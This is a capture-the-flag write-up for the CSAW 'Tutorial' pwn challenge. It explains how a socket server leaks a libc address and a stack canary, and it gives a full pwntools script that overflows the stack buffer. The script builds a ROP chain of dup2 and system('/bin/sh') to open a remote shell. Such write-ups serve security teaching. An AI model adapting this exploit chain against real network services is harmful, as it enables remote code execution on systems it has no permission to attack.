Description
Ok sport, now that you have had your Warmup, maybe you want to checkout the Tutorial.
nc pwn.chal.csaw.io 8002
tutorial libc-2.19.so
TL;DR
- A socket server
- Obvious leak of libc address and stack canary + provided libc library + stack buffer overflow
- ROP attack (
dup2
,dup2
,system("/bin/sh")
)
Exploit
The direct execution of tutorial
will crash. So, I inspect the binary with IDA Pro and found that this is a TCP server which requires a port number as the argument and a user call tutorial
exists in the system. After slightly patching the program and providing the port number, I can run the program on my computer. Connecting to the server, it displays three options.
-Tutorial- |
The first option 1.Manual
prints an address Reference:0x7fad235d3860
, which is the address of puts - 1280
. Together with the provided libc-2.19.so
, it allows us to caculate the address of other functions in the libc.
The second option 2.Practice
asks us to input our exploit. Sending some random input, it seems to echo our input with some extra binary data in the end.
>2 |
It turns out that these binary data are stack canary and part of the rbp
. With the knowledge of stack canary and the address of functions in libc, now we can make use of the stack buffer overflow vulnerability of option 2 to conduct the ROP attack.
Notice that the server interacts with us via socket instead of standard input output. We can’t merely invoke the system("/bin/sh")
, which opens a shell only on the server side. The most common solution is using dup2
to duplicate the file descriptor of socket connection to standard input and output before calling system
. There are three ways to find out the file descriptor of the connection:
- Educated guess. Functions usually return the lowest possible file descriptor. Standard input, output, and error are 0, 1, and 2 respectively.
socket
may return 3. Thenaccept
is likely to return 4. - Leak stack buffer. Since we can leak the lower four bytes of
rbp
, we can easily guess the address of stack and leak the file descriptor stored in it. ls -l /proc/<pid>/fd
. Execute the program locally and inspect what file descriptors are being used.
The script is as follows.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46from pwn import *
from time import sleep
# ROP gadget
pop_rsi_r15 = 0x4012e1
pop_rdi = 0x4012e3
puts_base = 0x6fd60
system_base = 0x46590
bin_sh_base = 0x17c8c3
dup2_base = 0xebe90
r = remote('pwn.chal.csaw.io', 8002)
# leak libc address
print r.recvuntil('>')
r.sendline('1')
line = r.recvline()[:-1]
print line
puts_addr = int(line[-14:], 16) + 1280
libc_addr = puts_addr - puts_base
system_addr = libc_addr + system_base
bin_sh_addr = libc_addr + bin_sh_base
dup2_addr = libc_addr + dup2_base
# leak canary
print r.recvuntil('>')
r.sendline('2')
print r.recvuntil('>')
r.send(' ')
sleep(0.2)
data = r.recv()
canary = data[-12:-4]
print repr(data)
# ROP payload
print r.recvuntil('>')
r.sendline('2')
print r.recvuntil('>')
payload = 'A'*312 + canary + 'A'*8
payload += p64(pop_rdi) + p64(4) + p64(pop_rsi_r15) + p64(0) + 'A'*8 + p64(dup2_addr) # dup2(4, 0)
payload += p64(pop_rdi) + p64(4) + p64(pop_rsi_r15) + p64(1) + 'A'*8 + p64(dup2_addr) # dup2(4, 1)
payload += p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr) # system("/bin/sh")
r.send(payload)
r.interactive()
Flag:
FLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM}
Note
- What I’ve learned:
- Using
dup2
to get the interactive shell of socket server. - There is no need to inject the string
/bin/sh
to somewhere in the buffer as I first did. This string is containing in the libc, and its offset can be found bystrings -t x libc-2.19.so | grep "/bin/sh"
- Using
- This server using
fork
to create a new process to handle the new user’s request, so the base address oflibc
and the value of stack canary remain the same from request to request. There is no need to automatically parse these value during the contest. Just hard code them in the script to save some time.